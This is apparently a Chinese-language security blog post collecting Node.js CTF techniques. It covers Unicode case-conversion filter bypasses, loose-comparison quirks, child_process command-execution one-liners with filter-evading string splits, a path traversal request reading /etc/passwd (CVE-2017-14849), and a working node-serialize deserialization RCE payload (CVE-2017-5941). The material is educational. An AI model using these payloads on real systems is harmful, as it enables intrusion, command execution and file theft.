很久不更新博客了,学习总结一下nodejs的知识点

[toc]

大小写特性

在javascript中有几个特殊的字符需要记录一下

对于toUpperCase():

1
字符"ı"、"ſ" 经过toUpperCase处理后结果为 "I"、"S"

对于toLowerCase():

1
字符"K"经过toLowerCase处理后结果为"k"(这个K不是K,是开尔文符号的K)

在绕一些规则的时候就可以利用这几个特殊字符进行绕过,

可以参考p牛的老文章 Fuzz中的javascript大小写特性

prompt靶场的某一关

对于以下的过滤,便可以使用这个特性进行绕过

1
2
3
4
5
6
7
8
9
function escape(input) {
// filter potential start-tags
input = input.replace(/<([a-zA-Z])/g, '<_$1');
// use all-caps for heading
input = input.toUpperCase();

// sample input: you shall not pass! => YOU SHALL NOT PASS!
return '<h1>' + input + '</h1>';
}
1
input=<ımg src=1 onerror=&#112;&#114;&#111;&#109;&#112;&#116;(1)>

Hacktm中的一道Nodejs题

登陆页面/login中有一个函数用于判断用户名是否为合理的用户名:

1
2
3
4
5
6
7
8
function isValidUser(u) {
return (
u.username.length >= 3 &&
u.username.toUpperCase() !== config.adminUsername.toUpperCase()
// 长度大于3并且不能为adminUsername
// config.adminUsername为hacktm
);
}

/updateUser页面中有一个函数用于判断用户是否为管理员:

1
2
3
function isAdmin(u) {
return u.username.toLowerCase() == config.adminUsername.toLowerCase();
}

本题要求我们通过isValidUser验证进行登录,同时又要求在管理界面可以被isAdmin判定为管理员,

本题的config文件中管理员用户名为hacktm,那么可以使用大小写的特性来绕过,我们登录的用户名为hacKtm,这样在isValidUser时就会判定我们为合法用户,而在isAdmin中,hacKtm转换成小写又会变成hacktm,从而在管理界面把我们判定成管理员

弱类型比较

大小比较

这个类似与php,这个就很多啦,直接看代码示例理解更快:

1
2
3
4
5
6
console.log(1=='1'); //true
console.log(1>'2'); //false
console.log('1'<'2'); //true
console.log(111>'3'); //true
console.log('111'>'3'); //false
console.log('asd'>1); //false

总结:数字与字符串比较时,会优先将纯数字型字符串转为数字之后再进行比较;而字符串与字符串比较时,会将字符串的第一个字符转为ASCII码之后再进行比较,因此就会出现第五行代码的这种情况;而非数字型字符串与任何数字进行比较都是false。

数组的比较:

1
2
3
4
5
6
7
console.log([]==[]); //false
console.log([]>[]); //false
console.log([]>[]); //false
console.log([6,2]>[5]); //true
console.log([100,2]<'test'); //true
console.log([1,2]<'2'); //true
console.log([11,16]<"10"); //false

总结:空数组之间比较永远为false,数组之间比较只比较数组间的第一个值,对第一个值采用前面总结的比较方法,数组与非数值型字符串比较,数组永远小于非数值型字符串;数组与数值型字符串比较,取第一个之后按前面总结的方法进行比较。

还有一些比较特别的相等:

1
2
3
4
console.log(null==undefined) // 输出:true
console.log(null===undefined) // 输出:false
console.log(NaN==NaN) // 输出:false
console.log(NaN===NaN) // 输出:false

变量拼接

1
2
3
4
console.log(5+[6,6]); //56,3
console.log("5"+6); //56
console.log("5"+[6,6]); //56,6
console.log("5"+["6","6"]); //56,6

模块加载与命令执行

在一些沙盒逃逸时我们通常是找到一个可以执行任意命令的payload,若是在ctf比赛中,我们需要getflag时通常是需要想尽办法加载模块来达成特殊要求。

比赛中常见可以通过child_process模块来加载模块,获得exec,execfile,execSync。

  • 通过require加载模块如下:
1
require('child_process').exec('calc');
  • 通过global对象加载模块
1
global.process.mainModule.constructor._load('child_process').exec('calc');

对于一些上下文中没有require的情况下,通常是想办法使用后者来加载模块,事实上,node的Function(…)并不能找到require这个函数。

有些情况下可以直接用require,如eval。

常用函数

  • 执行js函数:
1
2
eval(setInteval(some_function));
eval("require('child_process').exec('calc');");
  • 间隔两秒执行函数:
1
2
setInteval(some_function, 2000);
setInterval(require('child_process').exec,1000,"calc");
  • 两秒后执行函数:
1
2
setTimeout(some_function, 2000);
setTimeout(require('child_process').exec,1000,"calc");

some_function处就类似于eval函数的参数,类似于php中的create_function

  • 类似于php中的create_function
1
2
Function("console.log('HelloWolrd')")();
Function("global.process.mainModule.constructor._load('child_process').exec('calc')")();

这里可以发现对于Function来说上下文并不存在require,需要从global中一路调出来exec。

测试

1
2
3
4
5
router.post('/try',function (req, res, next) {
let cmd=req.body.cmd;
let result=eval(cmd);
res.send(result);
})

直接使用require('child_process').exec('whoami')发现返回的是对象

image-20220928215207148

1
2
3
4
5
6
7
8
9
10
11
require('child_process').execSync('whoami')
require('child_process').execSync('whoami').toString()
require('child_process').spawnSync('whoami').output.toString()
require('child_process').spawnSync('whoami').stdout
global.process.mainModule.constructor._load('child_process').execSync('whoami')

var a="require('child_process').ex";var b="ecSync('whoami').toString();";eval(a+b)
require('child_process')['spawnS'+'ync']('whoami').output.toString()

require('fs').readdirSync('.')
require('fs').readFileSync('./app.js')

vm沙箱逃逸

占个坑

原型链污染

另开一篇

尝试深入理解 JavaScript Prototype 污染攻击 | H4cking to the Gate . (h4cking2thegate.github.io)

Node.js 目录穿越漏洞 (CVE-2017-14849)

在vulhub上面可以直接下载到环境。

漏洞影响的版本:

  • Node.js 8.5.0 + Express 3.19.0-3.21.2
  • Node.js 8.5.0 + Express 4.11.0-4.15.5
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
//app.js
const express = require('express')
const app = express()
const path = require('path')

app.get('/', (req, res) => {
res.send(`<html>
<head>
<meta charset="utf-8">
<title>Hello vulhub!</title>
</head>
<body>
<div id="app">
<input v-model="name">
<p>Hello {{ name }}</p>
</div>
<script src="//cdn.bootcss.com/vue/2.4.4/vue.min.js"></script>
<script src="/static/main.js"></script>
</body>
</html>`)
})

app.use('/static', express.static(path.join(__dirname, 'static')));

app.listen(3000, () => console.log('Example app listening on port 3000!'))
1
GET /static/../../../aaa/../../../../etc/passwd 进行目录穿越

image-20220927144138382

image-20220927144119904

node-serialize 反序列化漏洞 (CVE-2017-5941)

漏洞出现在node-serialize模块0.0.4版本当中,使用npm install node-serialize@0.0.4安装模块。

  • 了解什么是IIFE:

IIFE(立即调用函数表达式)是一个在定义时就会立即执行的 JavaScript 函数。

IIFE一般写成下面的形式:

1
2
3
(function(){ /* code */ }());
// 或者
(function(){ /* code */ })();
  • node-serialize@0.0.4漏洞点

漏洞代码位于node_modules\node-serialize\lib\serialize.js中:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
var circularTasks = [];
var key;
for(key in obj) {
if(obj.hasOwnProperty(key)) {
if(typeof obj[key] === 'object') {
obj[key] = exports.unserialize(obj[key], originObj);
} else if(typeof obj[key] === 'string') {
if(obj[key].indexOf(FUNCFLAG) === 0) {
obj[key] = eval('(' + obj[key].substring(FUNCFLAG.length) + ')');
} else if(obj[key].indexOf(CIRCULARFLAG) === 0) {
obj[key] = obj[key].substring(CIRCULARFLAG.length);
circularTasks.push({obj: obj, key: key});
}
}
}
}

其中的obj[key] = eval('(' + obj[key].substring(FUNCFLAG.length) + ')');语句会把参数用括号包裹再传给eval,此时如果我们传入的参数是func(){evalcode}()的形式,那么经过包裹后传入eval就变成了eval((func(){evalcode}()))被eval当成了IIFE执行,从而触发evalcode

  • 动态分析

写一个反序列化的小demo

1
2
3
4
5
6
7
8
9
10
11
12
13
14
var express = require('express');
var router = express.Router();
const serialize=require('node-serialize');

/* GET home page. */
router.get('/', function(req, res, next) {
var data = req.query.data;
// console.log(req)
// console.log(data)
var result=serialize.unserialize(data)
res.render('index', { title: 'Express' , result: result});
});

module.exports = router;

生成payload

1
2
3
4
5
6
7
serialize = require('node-serialize');
var test = {
rce : function(){require('child_process').exec('whoami',function(error, stdout, stderr){console.log(stdout)});},
}
console.log("序列化生成的 Payload: \n" + serialize.serialize(test));

// {"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('whoami',\r\n function(error, stdout, stderr){\r\n console.log(stdout)});\r\n }"}

此处不能直接在对象中把rce写成IIFE,否则会反序列化失败,而应该在生成的序列化对象末尾加上小括号

{"rce":"_$$ND_FUNC$$_function(){require('child_process').exec('whoami',\r\n function(error, stdout, stderr){\r\n console.log(stdout)});\r\n }()"}

传入payload后可以发现obj[key]已经变成_$$ND_FUNC$$_function(){require('child_process').exec('whoami',\r\n function(error, stdout, stderr){\r\n console.log(stdout)});\r\n }()"

image-20220927232824746

接着判断是否以FUNCFLAG开头,此时FUNCFLAG是_$$ND_FUNC$$_

image-20220927233139884

此时传入eval的参数就变成了IIFE表达式

image-20220927234659007

Reference

nodejs一些入门特性&&实战 - 先知社区 (aliyun.com)

Node.js 常见漏洞学习与总结 - 先知社区 (aliyun.com)